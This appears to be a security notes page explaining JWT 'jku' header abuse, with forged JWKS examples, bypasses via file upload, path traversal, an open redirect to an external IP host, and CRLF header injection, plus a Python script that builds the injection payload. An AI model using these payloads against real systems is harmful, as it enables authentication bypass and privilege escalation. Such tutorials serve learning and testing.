Skip to main content

jku-header-bypass

JKU Header Bypass

Misuse of the jku (JSON Web Key URL) header in JWT can allow an attacker to forge valid tokens and escalate privileges (e.g., become admin).

JWT supports referencing a public key via a URL in the header (jku).

info

If the application blindly trusts this URL, authentication is broken.


What is jku?

  • jku is a JWT header parameter
  • It points to a remote JWKS (JSON Web Key Set) file
  • The application downloads the public key from this URL to verify the token signature

Example JWT header:

{
"alg": "RS256",
"typ": "JWT",
"jku": "https://example.com/jwks.json"
}

Root Cause

The application:

  • Accepts any jku URL from the token
  • Fetches the public key from that URL
  • Uses it to verify the JWT signature
info

Attackers can host their own JWKS file, sign tokens with the matching private key, and the app will accept them as valid.

Attack Concept

  1. Generate your own RSA key pair (JWT Editor to generate JWK and use key values like below)
{
"keys": [
{
"kty": "RSA",
"use": "sig",
"alg": "RS256",
"kid": "attacker-key",
"n": "BASE64URL_MODULUS",
"e": "AQAB"
}
]
}
  1. Host a JWKS file with key contents in same format as above.
  2. Forge a JWT:
    • Set jku to your hosted JWKS URL (as seen below)
    • Set alg to RS256
    • Modify payload (e.g., "admin": true) or set username to admin.
  3. Sign the token with generated private key like so:

TODO image

  1. Application verifies using your public key → access granted.

Workaround Techniques

  1. If there is validation for jku header that looks for "example.com" domain, we can abuse file upload functionality to upload our custom jwks.json and use that link as bypass.
  2. If the url is looking for: "http://example.com/.well-known/" we can use directory traversal in jku header for bypass: http://example.com/.well-known/../8e844e73-6f1d-4622-9281-0905d9c51e95.json for uploaded file.
  3. If we can't find file upload feature but find Open Redirect feature, we can use jku header as: http://example.com/.well-known/../redirect?redirect_uri=http://129.154.241.42:5959/jwks.json to use our custom pub/priv key for signature generation.
  4. Header Injection can also be used for workaround.
Header Injection Details

If an application reflects user input into HTTP response headers without sanitizing CR/LF characters, an attacker can inject new headers using:

%0d = Carriage Return (CR)
%0a = Line Feed (LF)

Example payload:

/debug?value=1337%0d%0aCustomHeader:%20AnyThingHere

Response becomes:

Debug: 1337
CustomHeader: AnyThingHere
info

This is called HTTP Response Header Injection / CRLF Injection.


If we inject double Carriage Return & Line Feed like so:

/debug?value=1337%0d%0aCustomHeader:%20AnyThingHere%0d%0a%0d%0aBODYVALUE'

We now have a BODYVALUE as well where we can add our jwks.json content.

We can use following python script that does it:

#!/usr/bin/env python3
import urllib.parse

with open("jwks.json", "r", encoding="utf-8") as f:
body_content = f.read().strip()

content_length = len(body_content.encode("utf-8"))

body_encoded = urllib.parse.quote(body_content, safe="")

injection = (
"/debug?value=1337%0d%0a"
f"Content-Length:{content_length}%0d%0a"
"%0d%0a"
)

full_payload = injection + body_encoded

print("Full URL-encoded payload (ready to paste):")
print(full_payload)

print("\nDecoded version (for human eyes):")
print(urllib.parse.unquote(full_payload))
info

Make sure to use jwks.json file that has only required values. For Example, jwks generated by BurpSuite is huge and can't be parsed by the server.

{
"keys": [
{
"kty": "RSA",
"use": "sig",
"e": "AQAB",
"kid": "89c7383d-ce25-4ef9-a731-cd41f0b3ef6a",
"n": "o8gUnKX6FyYui15XuAetFKY9BP06lZYx7ylePHgdDlW2GVPRFQPT_4h3qJjHsLhoOcxnanhWif9yxQYkkc3r8LDXT6Kgu54VqBgSvtCLsIp0rs35O0ILMKydVDsVC5rYLm6wUCr43IlXHg6xEdCX4SELDu0zwnp6zufxDgfNjlpk_HR8cqmvAzF5XCcNEJGeZ2RPtXAaLjdvlZAFiRRL_0PMBB-Ey6h8lyPSsM8t3sf4yg5ldZaq8pQAnETaMedtRDGCtxd-dJR0YvnmXphyb19o6344PNn55Guk1U8GbaUrsIhLUPz4aO9Cu0NA6EHT-NDrPfxu0E9fvTWGe1_HSw",
"alg": "RS256"
}
]
}

Then we can use the link generated by the script to pass at jku header value and sign a new token. If it looks for a certain path such as /.well-known we can apply the directory traversal technique to bypass it.